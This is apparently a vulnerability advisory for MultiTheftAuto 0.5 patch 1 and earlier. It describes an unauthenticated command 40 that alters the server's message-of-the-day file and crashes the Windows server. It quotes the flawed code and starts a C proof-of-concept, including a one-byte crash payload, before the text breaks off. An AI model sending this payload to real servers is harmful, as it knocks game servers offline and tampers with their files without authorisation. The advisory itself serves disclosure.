Vulnerable Systems:
* MultiTheftAuto version 0.5 patch 1 and prior
Privileges Escalation:
The MTA server has the remote administration option enabled by default. The problem is the existence of an undocumented command (number 40) which allows the modification or the deletion of the content of the motd.txt file used for the message of the day.
This is the only command which doesn't check if the client is an administrator so anyone without permissions has access to it.
Denail of Service:
The command 40 is also the cause of another problem located in the same function which seems incomplete or experimental as showed by the following "retrieved" code: // open file for writing "w"
length = *(u_int *)(src - (src % 4096));
for(i = j = 0; i < length; i++) {
if(src[i] == '\n') dst[j++] = '\r';
dst[j++] = src[i];
if(j < 1024) continue;
if(!WriteFile(...)) break;
j = 0;
}
// close file
length is -1 so the function starts an almost endless loop which stops when the source buffer points to an unallocated zone of the memory. The result is the immediate crash of the MTA server.
Seems that only the Windows server is affected by the crash because on Linux the function is substituited with the following "still incorrect" instruction which doesn't produce exceptions: fd = fopen("motd.txt", "w");
fwrite(data + 4, 1, data, fd); // yes data is the buffer
fclose(fd);
#define VER "0.1"
#define BUFFSZ 4096
#define PORT 4003
#define TIMEOUT 3
#define PING "\x0d\x30\x00" // not a ping, just a way to get a reply
#define BOOM "\x28" // that's enough
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
u_short port = PORT;
u_char buff[BUFFSZ];
